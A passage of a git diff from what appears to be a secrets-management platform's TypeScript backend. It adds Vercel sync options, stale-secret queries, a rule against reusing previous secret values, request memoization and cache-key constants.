 import { VercelEnvironmentType, VercelSyncScope } from "./vercel-sync-enums";
 
-const VercelSyncDestinationConfigSchema = z.discriminatedUnion("scope", [
-  z.object({
-    scope: z.literal(VercelSyncScope.Project),
-    app: z.string().min(1, "App ID is required").describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.app),
-    appName: z.string().min(1, "App Name is required").describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.appName),
-    env: z.nativeEnum(VercelEnvironmentType).or(z.string()).describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.env),
-    branch: z.string().optional().describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.branch),
-    teamId: z.string().describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.teamId)
-  }),
-  z.object({
-    scope: z.literal(VercelSyncScope.Team),
-    teamId: z.string().min(1, "Team ID is required").describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.teamId),
-    teamName: z.string().optional().describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.teamName),
-    targetEnvironments: z
-      .array(z.nativeEnum(VercelEnvironmentType))
-      .min(1, "At least one environment is required")
-      .describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.targetEnvironments),
-    targetProjects: z.array(z.string()).optional().describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.targetProjects)
-  })
-]);
+const VercelSyncDestinationConfigSchema = z
+  .discriminatedUnion("scope", [
+    z.object({
+      scope: z.literal(VercelSyncScope.Project),
+      app: z.string().min(1, "App ID is required").describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.app),
+      appName: z.string().min(1, "App Name is required").describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.appName),
+      env: z.nativeEnum(VercelEnvironmentType).or(z.string()).describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.env),
+      branch: z.string().optional().describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.branch),
+      teamId: z.string().describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.teamId),
+      sensitive: z.boolean().default(false).describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.sensitive)
+    }),
+    z.object({
+      scope: z.literal(VercelSyncScope.Team),
+      teamId: z.string().min(1, "Team ID is required").describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.teamId),
+      teamName: z.string().optional().describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.teamName),
+      targetEnvironments: z
+        .array(z.nativeEnum(VercelEnvironmentType))
+        .optional()
+        .default([])
+        .describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.targetEnvironments),
+      applyToAllCustomEnvironments: z
+        .boolean()
+        .optional()
+        .default(false)
+        .describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.applyToAllCustomEnvironments),
+      targetProjects: z.array(z.string()).optional().describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.targetProjects),
+      sensitive: z.boolean().default(false).describe(SecretSyncs.DESTINATION_CONFIG.VERCEL.sensitive)
+    })
+  ])
+  .superRefine((config, ctx) => {
+    if (config.scope === VercelSyncScope.Team) {
+      if (!config.targetEnvironments?.length && !config.applyToAllCustomEnvironments) {
+        ctx.addIssue({
+          code: z.ZodIssueCode.custom,
+          message: "At least one target environment or applyToAllCustomEnvironments must be set.",
+          path: ["targetEnvironments"]
+        });
+      }
+    }
+
+    if (!config.sensitive) return;
+
+    if (config.scope === VercelSyncScope.Project && config.env === VercelEnvironmentType.Development) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: "Marking secrets as sensitive in Vercel is not supported for development environments.",
+        path: ["sensitive"]
+      });
+    }
+  });
 
 const VercelSyncOptionsConfig: TSyncOptionsConfig = { canImportSecrets: true };
 
diff --git a/backend/src/services/secret-sync/vercel/vercel-sync-types.ts b/backend/src/services/secret-sync/vercel/vercel-sync-types.ts
index 6d29e517ece..aef68f5dfdd 100644
--- a/backend/src/services/secret-sync/vercel/vercel-sync-types.ts
+++ b/backend/src/services/secret-sync/vercel/vercel-sync-types.ts
@@ -44,8 +44,9 @@ export interface VercelSharedEnvVar {
   key: string;
   value: string;
   type: string;
-  target: string[];
+  target?: string[];
   projectId?: string[];
+  applyToAllCustomEnvironments?: boolean;
   decrypted?: boolean;
   comment?: string;
   createdAt?: number;
diff --git a/backend/src/services/secret-v2-bridge/secret-v2-bridge-dal.ts b/backend/src/services/secret-v2-bridge/secret-v2-bridge-dal.ts
index 13295398038..c01fc9178c0 100644
--- a/backend/src/services/secret-v2-bridge/secret-v2-bridge-dal.ts
+++ b/backend/src/services/secret-v2-bridge/secret-v2-bridge-dal.ts
@@ -1128,6 +1128,52 @@ export const secretV2BridgeDALFactory = ({ db, keyStore }: TSecretV2DalArg) => {
     }
   };
 
+  const findStaleByProject = async (
+    projectId: string,
+    staleBeforeDate: Date,
+    pagination?: { offset: number; limit: number },
+    tx?: Knex
+  ) => {
+    try {
+      const result = await (tx || db.replicaNode())(TableName.SecretV2)
+        .join(TableName.SecretFolder, `${TableName.SecretV2}.folderId`, `${TableName.SecretFolder}.id`)
+        .join(TableName.Environment, `${TableName.SecretFolder}.envId`, `${TableName.Environment}.id`)
+        .where(`${TableName.Environment}.projectId`, projectId)
+        .whereNull(`${TableName.SecretV2}.userId`)
+        .where(`${TableName.SecretV2}.updatedAt`, "<", staleBeforeDate)
+        .select(
+          `${TableName.SecretV2}.key`,
+          `${TableName.SecretV2}.updatedAt`,
+          `${TableName.SecretV2}.folderId`,
+          `${TableName.Environment}.slug as environment`
+        )
+        .orderBy(`${TableName.SecretV2}.updatedAt`, "asc")
+        .offset(pagination?.offset ?? 0)
+        .limit(pagination?.limit ?? 50);
+
+      return result as { key: string; updatedAt: Date; folderId: string; environment: string }[];
+    } catch (error) {
+      throw new DatabaseError({ error, name: "findStaleByProject" });
+    }
+  };
+
+  const countStaleByProject = async (projectId: string, staleBeforeDate: Date, tx?: Knex) => {
+    try {
+      const result = await (tx || db.replicaNode())(TableName.SecretV2)
+        .join(TableName.SecretFolder, `${TableName.SecretV2}.folderId`, `${TableName.SecretFolder}.id`)
+        .join(TableName.Environment, `${TableName.SecretFolder}.envId`, `${TableName.Environment}.id`)
+        .where(`${TableName.Environment}.projectId`, projectId)
+        .whereNull(`${TableName.SecretV2}.userId`)
+        .where(`${TableName.SecretV2}.updatedAt`, "<", staleBeforeDate)
+        .count("* as count")
+        .first();
+
+      return Number((result as { count?: string | number })?.count ?? 0);
+    } catch (error) {
+      throw new DatabaseError({ error, name: "countStaleByProject" });
+    }
+  };
+
   return {
     ...secretOrm,
     update,
@@ -1144,6 +1190,8 @@ export const secretV2BridgeDALFactory = ({ db, keyStore }: TSecretV2DalArg) => {
     findReferencedSecretReferences,
     findAllProjectSecretValues,
     countByFolderIds,
+    findStaleByProject,
+    countStaleByProject,
     findOne,
     find,
     invalidateSecretCacheByProjectId,
diff --git a/backend/src/services/secret-v2-bridge/secret-v2-bridge-fns.ts b/backend/src/services/secret-v2-bridge/secret-v2-bridge-fns.ts
index 646609b3e9c..5ee6b332d03 100644
--- a/backend/src/services/secret-v2-bridge/secret-v2-bridge-fns.ts
+++ b/backend/src/services/secret-v2-bridge/secret-v2-bridge-fns.ts
@@ -271,6 +271,7 @@ export const fnSecretBulkUpdate = async ({
   const secsUpdatedTag = inputSecrets.flatMap(({ data: { tags } }, i) =>
     tags !== undefined ? { tags, secretId: newSecrets[i].id } : []
   );
+
   if (secsUpdatedTag.length) {
     await secretTagDAL.deleteTagsToSecretV2(
       { $in: { secrets_v2Id: secsUpdatedTag.map(({ secretId }) => secretId) } },
diff --git a/backend/src/services/secret-v2-bridge/secret-v2-bridge-service.ts b/backend/src/services/secret-v2-bridge/secret-v2-bridge-service.ts
index 4df76875940..4efe00646d7 100644
--- a/backend/src/services/secret-v2-bridge/secret-v2-bridge-service.ts
+++ b/backend/src/services/secret-v2-bridge/secret-v2-bridge-service.ts
@@ -33,7 +33,7 @@ import {
 } from "@app/ee/services/secret-approval-request/secret-approval-request-types";
 import { scanSecretPolicyViolations } from "@app/ee/services/secret-scanning-v2/secret-scanning-v2-fns";
 import { TSecretSnapshotServiceFactory } from "@app/ee/services/secret-snapshot/secret-snapshot-service";
-import { KeyStorePrefixes, TKeyStoreFactory } from "@app/keystore/keystore";
+import { KeyStorePrefixes, KeyStoreTtls, TKeyStoreFactory } from "@app/keystore/keystore";
 import { generateCacheKeyFromData } from "@app/lib/crypto/cache";
 import { DatabaseErrorCode } from "@app/lib/error-codes";
 import { BadRequestError, ForbiddenRequestError, NotFoundError } from "@app/lib/errors";
@@ -147,8 +147,6 @@ type TSecretV2BridgeServiceFactoryDep = {
   secretValidationRuleService: Pick<TSecretValidationRuleServiceFactory, "validateSecrets">;
 };
 
-const ETAG_TTL = 900; // 15 minutes in seconds
-
 export type TSecretV2BridgeServiceFactory = ReturnType<typeof secretV2BridgeServiceFactory>;
 
 /*
@@ -631,7 +629,7 @@ export const secretV2BridgeServiceFactory = ({
         environment,
         envId: folder.envId,
         secretPath,
-        secrets: [{ key: finalKey, value: secretValue }]
+        secrets: [{ key: finalKey, value: secretValue, secretId }]
       });
     }
 
@@ -1247,7 +1245,7 @@ export const secretV2BridgeServiceFactory = ({
         };
         const cachedEtag = `"${generateCacheKeyFromData(payload)}"`;
         await keyStore.hashSet(etagRedisKey, etagField, cachedEtag);
-        await keyStore.setExpiry(etagRedisKey, ETAG_TTL);
+        await keyStore.setExpiry(etagRedisKey, KeyStoreTtls.SecretEtagInSeconds);
         return { ...payload, etag: cachedEtag };
       } catch (err) {
         logger.error(err, "Secret service layer cache miss");
@@ -1498,7 +1496,7 @@ export const secretV2BridgeServiceFactory = ({
       }
       const computedEtag = `"${generateCacheKeyFromData(payload)}"`;
       await keyStore.hashSet(etagRedisKey, etagField, computedEtag);
-      await keyStore.setExpiry(etagRedisKey, ETAG_TTL);
+      await keyStore.setExpiry(etagRedisKey, KeyStoreTtls.SecretEtagInSeconds);
       return { ...payload, etag: computedEtag };
     }
 
@@ -1572,7 +1570,7 @@ export const secretV2BridgeServiceFactory = ({
     }
     const computedEtag = `"${generateCacheKeyFromData(payload)}"`;
     await keyStore.hashSet(etagRedisKey, etagField, computedEtag);
-    await keyStore.setExpiry(etagRedisKey, ETAG_TTL);
+    await keyStore.setExpiry(etagRedisKey, KeyStoreTtls.SecretEtagInSeconds);
     return { ...payload, etag: computedEtag };
   };
 
@@ -2337,7 +2335,11 @@ export const secretV2BridgeServiceFactory = ({
         const secretsToValidate = [
           ...secretsToUpdate
             .filter((el) => el.secretValue || el.newSecretName)
-            .map((el) => ({ key: el.newSecretName || el.secretKey, value: el.secretValue })),
+            .map((el) => ({
+              key: el.newSecretName || el.secretKey,
+              value: el.secretValue,
+              secretId: secretsToUpdateInDBGroupedByKey[el.secretKey]?.[0]?.id
+            })),
           ...(updateMode === SecretUpdateMode.Upsert
             ? secretsToCreate.map((el) => ({ key: el.secretKey, value: el.secretValue }))
             : [])
@@ -2981,6 +2983,17 @@ export const secretV2BridgeServiceFactory = ({
 
       const destinationSecretsGroupedByKey = groupBy(decryptedDestinationSecrets, (i) => i.key);
 
+      const sourceKeys = decryptedSourceSecrets.map((s) => s.key);
+
+      const conflictingRotationSecretKeys = sourceKeys.filter(
+        (key) => destinationSecretsGroupedByKey[key]?.[0]?.isRotatedSecret
+      );
+      if (conflictingRotationSecretKeys.length > 0) {
+        throw new BadRequestError({
+          message: `Cannot move secrets to '${destinationFolder.path}' because the following keys are managed by a secret rotation at the destination: ${conflictingRotationSecretKeys.join(", ")}`
+        });
+      }
+
       const locallyCreatedSecrets = decryptedSourceSecrets
         .filter(({ key }) => !destinationSecretsGroupedByKey[key]?.[0])
         .map((el) => ({ ...el, operation: SecretOperations.Create }));
diff --git a/backend/src/services/secret-validation-rule/secret-validation-rule-fns.ts b/backend/src/services/secret-validation-rule/secret-validation-rule-fns.ts
index 303a720f426..82299190ec0 100644
--- a/backend/src/services/secret-validation-rule/secret-validation-rule-fns.ts
+++ b/backend/src/services/secret-validation-rule/secret-validation-rule-fns.ts
@@ -3,6 +3,7 @@ import RE2 from "re2";
 
 import { BadRequestError } from "@app/lib/errors";
 
+import { MAX_PREVENT_VALUE_REUSE_VERSIONS } from "./secret-validation-rule-schemas";
 import {
   ConstraintTarget,
   ConstraintType,
@@ -146,6 +147,7 @@ export const checkForOverlappingRules = ({
 type TSecretToValidate = {
   key: string;
   value?: string;
+  previousValues?: string[];
 };
 
 type TValidationRule = {
@@ -168,7 +170,8 @@ const CONSTRAINT_LABELS: Record<ConstraintType, string> = {
   [ConstraintType.MaxLength]: "Maximum length",
   [ConstraintType.RegexPattern]: "Regex pattern",
   [ConstraintType.RequiredPrefix]: "Required prefix",
-  [ConstraintType.RequiredSuffix]: "Required suffix"
+  [ConstraintType.RequiredSuffix]: "Required suffix",
+  [ConstraintType.PreventValueReuse]: "Prevent reuse of previous secret values"
 };
 
 const TARGET_LABELS: Record<ConstraintTarget, string> = {
@@ -234,6 +237,17 @@ const evaluateConstraint = (constraint: TConstraint, secret: TSecretToValidate):
       }
       return null;
     }
+    case ConstraintType.PreventValueReuse: {
+      if (secret.value === undefined || !secret.previousValues?.length) {
+        return null;
+      }
+      const versionCount = Number(constraint.value) || MAX_PREVENT_VALUE_REUSE_VERSIONS;
+      const valuesToCheck = secret.previousValues.slice(0, versionCount);
+      if (valuesToCheck.includes(secret.value)) {
+        return `${targetLabel} cannot reuse any of the last ${versionCount} values`;
+      }
+      return null;
+    }
     default:
       return null;
   }
diff --git a/backend/src/services/secret-validation-rule/secret-validation-rule-schemas.ts b/backend/src/services/secret-validation-rule/secret-validation-rule-schemas.ts
index b69d9a843bd..b00d1e3f083 100644
--- a/backend/src/services/secret-validation-rule/secret-validation-rule-schemas.ts
+++ b/backend/src/services/secret-validation-rule/secret-validation-rule-schemas.ts
@@ -9,11 +9,33 @@ import {
   TSecretValidationRuleInputs
 } from "./secret-validation-rule-types";
 
-export const constraintSchema = z.object({
-  type: z.nativeEnum(ConstraintType),
-  appliesTo: z.nativeEnum(ConstraintTarget),
-  value: z.string().min(1)
-});
+export const MAX_PREVENT_VALUE_REUSE_VERSIONS = 25;
+
+export const constraintSchema = z
+  .object({
+    type: z.nativeEnum(ConstraintType),
+    appliesTo: z.nativeEnum(ConstraintTarget),
+    value: z.string()
+  })
+  .refine((c) => c.type === ConstraintType.PreventValueReuse || c.value.length > 0, {
+    message: "Value is required",
+    path: ["value"]
+  })
+  .refine((c) => c.type !== ConstraintType.PreventValueReuse || c.appliesTo === ConstraintTarget.SecretValue, {
+    message: "No value reuse constraint can only apply to secret values",
+    path: ["appliesTo"]
+  })
+  .refine(
+    (c) => {
+      if (c.type !== ConstraintType.PreventValueReuse) return true;
+      const num = Number(c.value);
+      return Number.isInteger(num) && num >= 1 && num <= MAX_PREVENT_VALUE_REUSE_VERSIONS;
+    },
+    {
+      message: `Prevent value reuse version count must be between 1 and ${MAX_PREVENT_VALUE_REUSE_VERSIONS}`,
+      path: ["value"]
+    }
+  );
 
 export const staticSecretsInputsSchema = z.object({
   constraints: z.array(constraintSchema).min(1)
diff --git a/backend/src/services/secret-validation-rule/secret-validation-rule-service.ts b/backend/src/services/secret-validation-rule/secret-validation-rule-service.ts
index 7f7f96816a7..b7ccc1e8d37 100644
--- a/backend/src/services/secret-validation-rule/secret-validation-rule-service.ts
+++ b/backend/src/services/secret-validation-rule/secret-validation-rule-service.ts
@@ -1,4 +1,5 @@
 import { ForbiddenError } from "@casl/ability";
+import picomatch from "picomatch";
 
 import { ActionProjectType } from "@app/db/schemas";
 import { TPermissionServiceFactory } from "@app/ee/services/permission/permission-service-types";
@@ -11,10 +12,13 @@ import { KmsDataKey } from "../kms/kms-types";
 import { TSecretFolderDALFactory } from "../secret-folder/secret-folder-dal";
 import { expandSecretReferencesFactory } from "../secret-v2-bridge/secret-reference-fns";
 import { TSecretV2BridgeDALFactory } from "../secret-v2-bridge/secret-v2-bridge-dal";
+import { TSecretVersionV2DALFactory } from "../secret-v2-bridge/secret-version-dal";
 import { TSecretValidationRuleDALFactory } from "./secret-validation-rule-dal";
 import { checkForOverlappingRules, enforceSecretValidationRules } from "./secret-validation-rule-fns";
-import { parseSecretValidationRuleInputs } from "./secret-validation-rule-schemas";
+import { MAX_PREVENT_VALUE_REUSE_VERSIONS, parseSecretValidationRuleInputs } from "./secret-validation-rule-schemas";
 import {
+  ConstraintTarget,
+  ConstraintType,
   SecretValidationRuleType,
   TCreateSecretValidationRuleDTO,
   TDeleteSecretValidationRuleDTO,
@@ -27,6 +31,7 @@ type TSecretValidationRuleServiceFactoryDep = {
   projectEnvDAL: Pick<TProjectEnvDALFactory, "findOne">;
   folderDAL: Pick<TSecretFolderDALFactory, "findBySecretPath">;
   secretDAL: TSecretV2BridgeDALFactory;
+  secretVersionV2BridgeDAL: Pick<TSecretVersionV2DALFactory, "find">;
   permissionService: Pick<TPermissionServiceFactory, "getProjectPermission">;
   kmsService: TKmsServiceFactory;
 };
@@ -38,6 +43,7 @@ export const secretValidationRuleServiceFactory = ({
   projectEnvDAL,
   folderDAL,
   secretDAL,
+  secretVersionV2BridgeDAL,
   permissionService,
   kmsService
 }: TSecretValidationRuleServiceFactoryDep) => {
@@ -321,7 +327,7 @@ export const secretValidationRuleServiceFactory = ({
     environment: string;
     envId: string;
     secretPath: string;
-    secrets: { key: string; value?: string }[];
+    secrets: { key: string; value?: string; secretId?: string }[];
   }) => {
     if (!secrets.length) return;
 
@@ -341,9 +347,61 @@ export const secretValidationRuleServiceFactory = ({
       canExpandValue: () => true
     });
 
-    let resolvedSecrets = secrets;
+    const { decryptor: ruleInputsDecryptor } = await kmsService.createCipherPairWithDataKey({
+      type: KmsDataKey.SecretManager,
+      projectId
+    });
+
+    const parsedRules = rules.map((r) => ({
+      ...r,
+      inputs: parseSecretValidationRuleInputs(
+        r.type,
+        JSON.parse(ruleInputsDecryptor({ cipherTextBlob: r.encryptedInputs }).toString()) as unknown
+      )
+    }));
+
+    // filter to rules that actually match this environment + path so we don't trigger expensive version-history lookups for unrelated PreventValueReuse rules.
+    const matchingRules = parsedRules.filter((r) => {
+      if (r.envId && r.envId !== envId) return false;
+      return picomatch.isMatch(secretPath, r.secretPath, { strictSlashes: false });
+    });
 
-    resolvedSecrets = await Promise.all(
+    const hasPreventValueReuseConstraint = matchingRules.some((r) =>
+      r.inputs.constraints?.some(
+        (c) => c.type === ConstraintType.PreventValueReuse && c.appliesTo === ConstraintTarget.SecretValue
+      )
+    );
+
+    const previousValuesMap: Record<string, string[]> = {};
+    if (hasPreventValueReuseConstraint) {
+      const secretIdsToCheck = secrets.filter((s) => s.secretId).map((s) => s.secretId!);
+      if (secretIdsToCheck.length) {
+        const allVersions = await Promise.all(
+          secretIdsToCheck.map((sId) =>
+            secretVersionV2BridgeDAL.find(
+              { secretId: sId },
+              { sort: [["version", "desc"]], limit: MAX_PREVENT_VALUE_REUSE_VERSIONS }
+            )
+          )
+        );
+
+        for (const versions of allVersions) {
+          for (const version of versions) {
+            if (!version.encryptedValue) {
+              // eslint-disable-next-line no-continue
+              continue;
+            }
+            const decryptedValue = secretManagerDecryptor({ cipherTextBlob: version.encryptedValue }).toString();
+            if (!previousValuesMap[version.secretId]) {
+              previousValuesMap[version.secretId] = [];
+            }
+            previousValuesMap[version.secretId].push(decryptedValue);
+          }
+        }
+      }
+    }
+
+    const resolvedSecrets = await Promise.all(
       secrets.map(async (s) => ({
         key: s.key,
         value: await expandSecretReferences({
@@ -351,23 +409,13 @@ export const secretValidationRuleServiceFactory = ({
           secretPath,
           environment,
           secretKey: s.key
-        })
+        }),
+        ...(s.secretId && previousValuesMap[s.secretId] ? { previousValues: previousValuesMap[s.secretId] } : {})
       }))
     );
 
-    const { decryptor: ruleInputsDecryptor } = await kmsService.createCipherPairWithDataKey({
-      type: KmsDataKey.SecretManager,
-      projectId
-    });
-
     enforceSecretValidationRules({
-      projectRules: rules.map((r) => ({
-        ...r,
-        inputs: parseSecretValidationRuleInputs(
-          r.type,
-          JSON.parse(ruleInputsDecryptor({ cipherTextBlob: r.encryptedInputs }).toString()) as unknown
-        )
-      })),
+      projectRules: parsedRules,
       envId,
       secretPath,
       secrets: resolvedSecrets
diff --git a/backend/src/services/secret-validation-rule/secret-validation-rule-types.ts b/backend/src/services/secret-validation-rule/secret-validation-rule-types.ts
index b71f2df8af9..c41e30b5443 100644
--- a/backend/src/services/secret-validation-rule/secret-validation-rule-types.ts
+++ b/backend/src/services/secret-validation-rule/secret-validation-rule-types.ts
@@ -9,7 +9,8 @@ export enum ConstraintType {
   MaxLength = "max-length",
   RegexPattern = "regex-pattern",
   RequiredPrefix = "required-prefix",
-  RequiredSuffix = "required-suffix"
+  RequiredSuffix = "required-suffix",
+  PreventValueReuse = "prevent-value-reuse"
 }
 
 export enum ConstraintTarget {
diff --git a/backend/src/services/secret/secret-queue.ts b/backend/src/services/secret/secret-queue.ts
index 3f5163c76ba..8b6f8aab034 100644
--- a/backend/src/services/secret/secret-queue.ts
+++ b/backend/src/services/secret/secret-queue.ts
@@ -18,7 +18,6 @@ import { TLicenseServiceFactory } from "@app/ee/services/license/license-service
 import { TProjectEventsService } from "@app/ee/services/project-events/project-events-service";
 import { ProjectEvents, TProjectEventPayload } from "@app/ee/services/project-events/project-events-types";
 import { TSecretApprovalRequestDALFactory } from "@app/ee/services/secret-approval-request/secret-approval-request-dal";
-import { TSecretRotationDALFactory } from "@app/ee/services/secret-rotation/secret-rotation-dal";
 import { TSnapshotDALFactory } from "@app/ee/services/secret-snapshot/snapshot-dal";
 import { TSnapshotSecretV2DALFactory } from "@app/ee/services/secret-snapshot/snapshot-secret-v2-dal";
 import { KeyStorePrefixes, KeyStoreTtls, TKeyStoreFactory } from "@app/keystore/keystore";
@@ -113,7 +112,6 @@ type TSecretQueueFactoryDep = {
   secretV2BridgeDAL: TSecretV2BridgeDALFactory;
   secretVersionV2BridgeDAL: Pick<TSecretVersionV2DALFactory, "batchInsert" | "insertMany" | "findLatestVersionMany">;
   secretVersionTagV2BridgeDAL: Pick<TSecretVersionV2TagDALFactory, "insertMany" | "batchInsert">;
-  secretRotationDAL: Pick<TSecretRotationDALFactory, "secretOutputV2InsertMany" | "find">;
   secretApprovalRequestDAL: Pick<TSecretApprovalRequestDALFactory, "deleteByProjectId">;
   snapshotDAL: Pick<TSnapshotDALFactory, "findNSecretV1SnapshotByFolderId" | "deleteSnapshotsAboveLimit">;
   snapshotSecretV2BridgeDAL: Pick<TSnapshotSecretV2DALFactory, "insertMany" | "batchInsert">;
@@ -178,8 +176,8 @@ export const secretQueueFactory = ({
   secretVersionV2BridgeDAL,
   kmsService,
   secretVersionTagV2BridgeDAL,
-  secretRotationDAL,
   snapshotDAL,
+
   snapshotSecretV2BridgeDAL,
   secretApprovalRequestDAL,
   keyStore,
@@ -1557,17 +1555,6 @@ export const secretQueueFactory = ({
         "id",
         tx
       );
-      /*
-       * Secret Rotation Secret Migration
-       * Saving the new encrypted colum
-       * */
-      const projectV1SecretRotations = await secretRotationDAL.find({ projectId }, tx);
-      await secretRotationDAL.secretOutputV2InsertMany(
-        projectV1SecretRotations.flatMap((el) =>
-          el.outputs.map((output) => ({ rotationId: el.id, key: output.key, secretId: output.secret.id }))
-        ),
-        tx
-      );
 
       /*
        * approvals: we will delete all approvals this is because some secret versions may not be added yet
diff --git a/backend/src/services/secret/secret-service.ts b/backend/src/services/secret/secret-service.ts
index f5a255eb6d6..a8c4580ad73 100644
--- a/backend/src/services/secret/secret-service.ts
+++ b/backend/src/services/secret/secret-service.ts
@@ -3055,7 +3055,9 @@ export const secretServiceFactory = ({
     if (projectSlug) {
       project = await projectDAL.findProjectBySlug(projectSlug, actorOrgId);
     } else if (inputProjectId) {
-      project = await projectDAL.findById(inputProjectId);
+      project = await requestMemoize(requestMemoKeys.projectFindById(inputProjectId), () =>
+        projectDAL.findById(inputProjectId)
+      );
     }
 
     if (!project) {
@@ -3592,12 +3594,7 @@ export const secretServiceFactory = ({
       throw new NotFoundError({ message: `Secret version with ID '${versionId}' not found` });
     }
 
-    const project = await projectDAL.findById(version.projectId);
-    if (!project) {
-      throw new NotFoundError({ message: `Project with ID '${version.projectId}' not found` });
-    }
-
-    const { shouldUseSecretV2Bridge } = await projectBotService.getBotKey(project.id);
+    const { shouldUseSecretV2Bridge } = await projectBotService.getBotKey(version.projectId);
     if (!shouldUseSecretV2Bridge) {
       throw new BadRequestError({
         message: "Project version not supported",
diff --git a/backend/src/services/service-token/service-token-service.ts b/backend/src/services/service-token/service-token-service.ts
index 8f7b0a1b7b2..d99bd0e835a 100644
--- a/backend/src/services/service-token/service-token-service.ts
+++ b/backend/src/services/service-token/service-token-service.ts
@@ -11,6 +11,8 @@ import { getConfig } from "@app/lib/config/env";
 import { crypto } from "@app/lib/crypto/cryptography";
 import { ForbiddenRequestError, NotFoundError, UnauthorizedError } from "@app/lib/errors";
 import { logger } from "@app/lib/logger";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 
 import { TAccessTokenQueueServiceFactory } from "../access-token-queue/access-token-queue";
 import { ActorType } from "../auth/auth-type";
@@ -174,7 +176,9 @@ export const serviceTokenServiceFactory = ({
     const serviceToken = await serviceTokenDAL.findById(tokenIdentifier);
 
     if (!serviceToken) throw new NotFoundError({ message: `Service token with ID '${tokenIdentifier}' not found` });
-    const project = await projectDAL.findById(serviceToken.projectId);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(serviceToken.projectId), () =>
+      projectDAL.findById(serviceToken.projectId)
+    );
 
     if (!project) throw new NotFoundError({ message: `Project with ID '${serviceToken.projectId}' not found` });
 
@@ -187,7 +191,9 @@ export const serviceTokenServiceFactory = ({
     if (!isMatch) throw new UnauthorizedError({ message: "Invalid service token" });
     await accessTokenQueue.updateServiceTokenStatus(serviceToken.id);
 
-    const serviceTokenOrgDetails = await orgDAL.findById(project.orgId);
+    const serviceTokenOrgDetails = await requestMemoize(requestMemoKeys.orgFindById(project.orgId), () =>
+      orgDAL.findById(project.orgId)
+    );
 
     return {
       ...serviceToken,
diff --git a/backend/src/services/smtp/smtp-service.ts b/backend/src/services/smtp/smtp-service.ts
index 3449029836b..cbdc8cde5b6 100644
--- a/backend/src/services/smtp/smtp-service.ts
+++ b/backend/src/services/smtp/smtp-service.ts
@@ -4,6 +4,7 @@ import SMTPTransport from "nodemailer/lib/smtp-transport";
 import React from "react";
 
 import { getConfig } from "@app/lib/config/env";
+import { InternalServerError } from "@app/lib/errors";
 import { logger } from "@app/lib/logger";
 
 import {
@@ -212,3 +213,16 @@ export const smtpServiceFactory = (cfg: TSmtpConfig) => {
 
   return { sendMail, verify };
 };
+
+export const throwIfSmtpError = (err: unknown, logMessage: string) => {
+  logger.error(err, logMessage);
+  const { isCloud } = getConfig();
+  // We must always throw so the user is not left waiting for an email that never arrives.
+  // On cloud, we show a generic message to avoid exposing internal misconfiguration details.
+  throw new InternalServerError({
+    message: isCloud
+      ? "We could not send you an email. Please try again later."
+      : "Failed to send email. This is likely due to a misconfigured SMTP server. Please check your SMTP settings and try again.",
+    name: "SmtpError"
+  });
+};
diff --git a/backend/src/services/super-admin/invalidate-cache-queue.ts b/backend/src/services/super-admin/invalidate-cache-queue.ts
index c2a12f5d5ce..0eda4e643b4 100644
--- a/backend/src/services/super-admin/invalidate-cache-queue.ts
+++ b/backend/src/services/super-admin/invalidate-cache-queue.ts
@@ -1,4 +1,4 @@
-import { TKeyStoreFactory } from "@app/keystore/keystore";
+import { KeyStorePrefixes, KeyStoreTtls, TKeyStoreFactory } from "@app/keystore/keystore";
 import { logger } from "@app/lib/logger";
 import { QueueJobs, QueueName, TQueueServiceFactory } from "@app/queue";
 
@@ -31,15 +31,19 @@ export const invalidateCacheQueueFactory = ({ queueService, keyStore }: TInvalid
         data: { type }
       } = job.data;
 
-      await keyStore.setItemWithExpiry("invalidating-cache", 1800, "true"); // 30 minutes max (in case the job somehow silently fails)
+      await keyStore.setItemWithExpiry(
+        KeyStorePrefixes.InvalidatingCache,
+        KeyStoreTtls.InvalidatingCacheInSeconds,
+        "true"
+      ); // 30 minutes max (in case the job somehow silently fails)
 
       if (type === CacheType.ALL || type === CacheType.SECRETS)
-        await keyStore.deleteItems({ pattern: "secret-manager:*" });
+        await keyStore.deleteItems({ pattern: KeyStorePrefixes.SecretManagerCachePattern });
 
-      await keyStore.deleteItem("invalidating-cache");
+      await keyStore.deleteItem(KeyStorePrefixes.InvalidatingCache);
     } catch (err) {
       logger.error(err, "Failed to invalidate cache");
-      await keyStore.deleteItem("invalidating-cache");
+      await keyStore.deleteItem(KeyStorePrefixes.InvalidatingCache);
     }
   });
 
diff --git a/backend/src/services/super-admin/super-admin-service.ts b/backend/src/services/super-admin/super-admin-service.ts
index 63f21e003ab..ffb8920b8e4 100644
--- a/backend/src/services/super-admin/super-admin-service.ts
+++ b/backend/src/services/super-admin/super-admin-service.ts
@@ -12,7 +12,7 @@ import {
 import { TEmailDomainDALFactory } from "@app/ee/services/email-domain/email-domain-dal";
 import { EmailDomainStatus } from "@app/ee/services/email-domain/email-domain-types";
 import { TLicenseServiceFactory } from "@app/ee/services/license/license-service";
-import { PgSqlLock, TKeyStoreFactory } from "@app/keystore/keystore";
+import { KeyStorePrefixes, KeyStoreTtls, PgSqlLock, TKeyStoreFactory } from "@app/keystore/keystore";
 import { withCache } from "@app/lib/cache/with-cache";
 import {
   getConfig,
@@ -24,6 +24,8 @@ import {
 import { crypto } from "@app/lib/crypto/cryptography";
 import { BadRequestError, NotFoundError } from "@app/lib/errors";
 import { logger } from "@app/lib/logger";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
